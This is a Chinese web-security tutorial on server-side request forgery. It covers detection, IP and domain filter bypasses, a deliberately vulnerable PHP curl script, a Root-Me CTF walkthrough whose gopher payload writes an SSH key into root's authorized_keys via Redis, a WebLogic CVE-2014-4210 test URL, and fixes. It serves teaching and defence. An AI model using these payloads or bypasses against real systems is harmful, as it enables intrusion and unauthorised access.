[红日安全]Web安全Day4 - SSRF实战攻防
字数 1440 2025-08-25 22:58:20
SSRF漏洞实战攻防详解
1. SSRF漏洞概述
1.1 漏洞简介
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种利用漏洞伪造服务器端发起请求的攻击方式。攻击者可以诱使服务器向攻击者指定的内部系统发起请求,从而绕过网络边界防护。
1.2 漏洞原理
通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。例如,通过控制前台的请求远程地址加载的响应,将请求数据由远程URL域名修改为请求本地或内网的IP地址及服务。
1.3 漏洞危害
- 扫描内网开放服务
- 向内部任意主机的任意端口发送payload攻击内网服务
- DOS攻击(请求大文件,保持长连接)
- 攻击内网的web应用(如SQL注入、XSS等)
- 利用file、gopher、dict等协议读取本地文件、执行命令
2. 漏洞检测与绕过技术
2.1 漏洞检测方法
典型漏洞场景:某网站有在线加载远程图片功能,如:
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
可尝试修改为:
http://www.xxx.com/image.php?image=http://127.0.0.1:22
若返回端口banner信息,则可能存在SSRF漏洞。
2.2 常见漏洞出现点
- 分享功能:通过URL地址分享文章
- 图片加载与下载:通过URL地址加载或下载图片
- 收藏功能:文章或图片收藏功能
- 关键字查找:share、wapurl、link、src、source、target、u、3g、display、sourceURI、imageURL、domain等
2.3 绕过技术
-
域名限制绕过:
- 使用HTTP基本认证:
http://www.xxx.com@www.xxc.com - 不同解析函数差异:
http://www.aaa.com@www.bbb.com@www.ccc.com
- 使用HTTP基本认证:
-
IP限制绕过:
- 短网址服务(如百度短地址)
- xip.io服务:
127.0.0.1.xip.io - 进制转换:
- 八进制:
0177.0.0.1 - 十六进制:
0x7f.0.0.1 - 十进制:
2130706433
- 八进制:
-
协议限制绕过:
- 使用302跳转
- 使用短地址服务生成302跳转
3. 测试方法与实战演示
3.1 基础测试环境
- PHP脚本测试环境
- 利用工具:bash、nc
3.2 测试过程
- 创建PHP服务端脚本:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
- 使用nc监听端口:
nc -lvnp 2233
- 测试请求:
http://localhost/ssrf.php?url=http://127.0.0.1:2233
- 使用gopher协议测试:
http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_test
3.3 Rootme CTF实战演示
-
环境:Rootme CTF all the day
-
攻击流程:
- 探测内网开放端口(发现6379 Redis服务)
- 利用SSRF攻击Redis未授权访问
- 两种攻击方式:
- 写入SSH密钥
- 写入定时任务反弹shell
-
Redis攻击payload示例:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2E...%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
3.4 Weblogic SSRF漏洞(CVE-2014-4210)
- 漏洞影响版本:10.0.2.0, 10.3.6.0
- 测试方法:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
- 修复方案:
- 删除server/lib/uddiexplorer.war下的相应jsp文件
- 安装官方补丁
4. 漏洞修复方案
4.1 通用修复建议
- 限制返回信息,统一错误响应
- 设置请求地址白名单
- 禁用危险协议(file://, gopher://, dict://等)
- 限制请求端口(如只允许80,443)
4.2 Java代码修复示例
public static Boolean UrlSecCheck(String url, String[] urlwhitelist) {
try {
URL u = new URL(url);
// 只允许http和https协议
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
return false;
}
// 获取域名并转为小写
String host = u.getHost().toLowerCase();
// 获取一级域名
String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
for (String whiteurl: urlwhitelist){
if (rootDomain.equals(whiteurl)) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
4.3 依赖配置
需要添加Guava库用于获取一级域名:
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>21.0</version>
</dependency>
5. 总结
SSRF漏洞危害严重,可导致内网渗透。防御关键在于:
- 严格控制服务器发起的请求目标
- 实施严格的白名单机制
- 禁用不必要的协议
- 对返回信息进行适当过滤
- 定期更新和修补已知漏洞组件